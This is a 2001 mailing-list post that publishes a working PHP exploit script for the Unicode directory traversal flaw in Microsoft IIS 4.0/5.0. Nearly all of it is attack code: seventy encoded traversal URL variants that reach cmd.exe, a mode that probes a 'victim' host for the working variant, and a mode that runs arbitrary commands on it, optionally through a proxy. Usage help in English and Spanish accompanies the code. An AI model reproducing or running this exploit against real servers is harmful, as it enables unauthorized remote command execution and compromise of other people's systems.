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Yet another UNICODE exploit code and vulnerability test for IIS 4.0/5.0.


From: BoloTron <bolo () mundivia com>
Date: Tue, 24 Jul 2001 12:10:58 +0200

Hello all,

This is a SHELL script (not for web) written in PHP, in order to run the code 
you must download PHP source code and compile with :

./configure ; make

You'll get the cgi interperter for the script. Next step :

php -q iis-kabom

or 

php -q iis-kabom spanish

for spanish help

Regards,

BoloTron


--------------------------------------------------------------------
------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron-----------
--------------------------------------------------------------------
 
Usage of the wicked device:
./iis-kabom -t www.victim.vic
./iis-kabom -t www.victim.vic -p proxy:port
./iis-kabom  www.victim.vic comand variant_number
./iis-kabom -p proxy:port www.victim.vic comand variant_number
Options:
-t --> Test the vulnerability (Try known variants till find the good one)
-p --> Attack through proxy
 
Use Mode:
1) Test the host and get the variants number in case vulnerability exists
2) Attack with command and variants number (optionaly you can use proxy)
Note : When you specify a command with spaces, replace spaces with low script 
 "_"
and you must double the backslash "\".
  Example./iis-kabom -p proxy.prx:3128 www.victima.com dir_c:\\inetpub 49
Thanks to An-tonio for the proxy support.
Bug discover by Anonymous Post.
TYPE ./iis-kabom spanish, for Spanish help.


THE CODE.


---------------------cut here
#!php -q
<?
                 
$vector_ataque[0]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[1]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[3]="/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[4]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[6]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[7]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[10]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[14]="/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[18]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[19]="/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[22]="/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[23]="/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[26]="/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[30]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[40]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
                 
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[59]="/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[60]="/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[61]="/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[62]="/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
                 
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
                 
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
        if(!isset($argv[1]))
        {
                echo 
"\n\n--------------------------------------------------------------------\n";
                echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron 
------\n";
                echo 
"--------------------------------------------------------------------\n\n";
                echo "Usage of the wicked device:\n";
                echo $argv[0]." -t www.victim.vic\n";
                echo $argv[0]." -t www.victim.vic -p proxy:port\n";
                echo $argv[0]."  www.victim.vic comand variant_number\n";
                echo $argv[0]." -p proxy:port www.victim.vic comand variant_number\n";
                echo "Options:\n";
                echo "-t --> Test the vulnerability (Try known variants till find the good 
one)\n";
                echo "-p --> Attack through proxy\n"; 
                echo "\nUse Mode:\n1) Test the host and get the variants number in case 
vulnerability exists\n";
                echo "2) Attack with command and variants number (optionaly you can use 
proxy)\n";
                echo "Note : When you specify a command with spaces, replace spaces 
with low script  \"_\" \n";
                echo "and you must double the backslash \"\\\". \n  
Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
                echo "Thanks to An-tonio for the proxy support.\n";
                echo "Bug discover by Anonymous Post.\n";
                echo "TYPE ".$argv[0]." spanish, for Spanish help.\n";
        }
        else
        {
                if($argv[1]=="spanish")
                {
                echo 
"\n\n--------------------------------------------------------------------\n";
                echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por 
BoloTron ----\n";
                echo 
"--------------------------------------------------------------------\n\n";
                echo "Uso del artefacto maligno :\n";

                echo $argv[0]." -t www.victima.vic\n";
                echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
                echo $argv[0]."  www.victima.vic comando nº_de_variante\n";
                echo $argv[0]." -p proxy:port www.victima.vic comand 
nº_de_variante\n";
                echo "Opciones:\n";
                echo "-t --> Testea la vulnerabilidad, prueba todas las 
variantes hasta encontrar una buena.\n";
                echo "-p --> Ataque a traves de proxy\n";
                echo "\nModo de Empleo:\n1) Testear el host y anotar el 
numero de variante en caso de ser vulnerable\n";
                echo "2) Atacar especificando comando y nº de variante 
(opcionalmente puedes especificar un proxy)\n";
                echo "Nota : Cuando se especifica un comando en el que hay 
espacios hay que sustituirlos por un guion bajo _ \n";
                echo "y las contrabarras hay que ponerlas dobles. \nEjemplo : 
".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
                echo "Gracias a An-tonio por sus indicaciones en el soporte proxy.\n";
                echo "Bug descubierto por aviso anonimo.\n";
                exit;
                }               
                if($argv[1]=="-t")
                {
                        if ($argv[3]=="-p")
                        {
                        for($i=0;$i<70;$i++)
                        {
                                $prox=explode(":",$argv[4]);
                                $comando="dir+c:\\";
                                $fp = fsockopen($prox[0], $prox[1]);
                                if(!$fp)
                                {
                                        echo "Conection failed...\n";
                                }
                                else
                                {
                                        fputs($fp,"GET 
http://".$argv[2]."".$vector_ataque[$i]."".$comando."; HTTP/1.0\n\n");
                                        echo "Trying variant number ".$i." ";
                                        while(!feof($fp))
                                        {
                                                $resul=$resul.fgets($fp,128);
                                        }
                                        if (ereg("<DIR>", $resul))
                                        {
                                                echo "-----> Vulnerable!!\n";
                                                exit;
                                        }
                                        else
                                        {
                                                echo "-----> NoT Vulnerable 
:(\n";
                                        }
 
                                }
                                fclose($fp);                                    
                        }
                        }
                        else
                        {
                        for($i=0;$i<70;$i++)
                        {
                                $port=80;
                                $comando="dir+c:\\";
                                $fp = fsockopen($argv[2], $port);
                                if(!$fp)
                                {
                                        echo "Conection failed...\n";
                                }
                                else
                                {
                                        fputs($fp,"GET 
".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
                                        echo "Trying variant number ".$i." ";
                                        while(!feof($fp))
                                        {
                                                $resul=$resul.fgets($fp,128);
                                        }
                                        if (ereg("<DIR>", $resul))
                                        {
                                                echo "-----> vulnerable!!\n";
                                                exit;
                                        }
                                        else
                                        {
                                                echo "-----> No Vulnerable :(\n";
                                        }
                                        
                                }
                                fclose($fp);
                        }
                        }       
                }
                else
                {
                        if($argv[1]=="-p")
                        {
                                $prox=explode(":",$argv[2]);
                                $port=$prox[1];
                                $comando=ereg_replace("_","+",$argv[4]);
                                $fp = fsockopen($prox[0], $port);

                                if(!$fp)
                                {
                                        echo "Conection failed.\n";
                                }
                                else
                                {
                                        fputs($fp,"GET 
http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando."; HTTP/1.0\n\n");
                                        while(!feof($fp))
                                        {
                                                echo fgets($fp,128);
                                        }
                                }
                                fclose($fp);                    

                        }
                        else
                        {
                                $port=80;
                                $comando=ereg_replace("_","+",$argv[2]);
                                $fp = fsockopen($argv[1], $port);
                                if(!$fp)
                                {
                                        echo "Conection failed.\n";
                                }               
                                else
                                {
                                        fputs($fp,"GET ".$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
                                        while(!feof($fp))
                                        {
                                                echo fgets($fp,128);
                                        }
                                }       
                                fclose($fp);
                        }
                } 
                
                
                
                
        }
?>
                
---------- cut here




 

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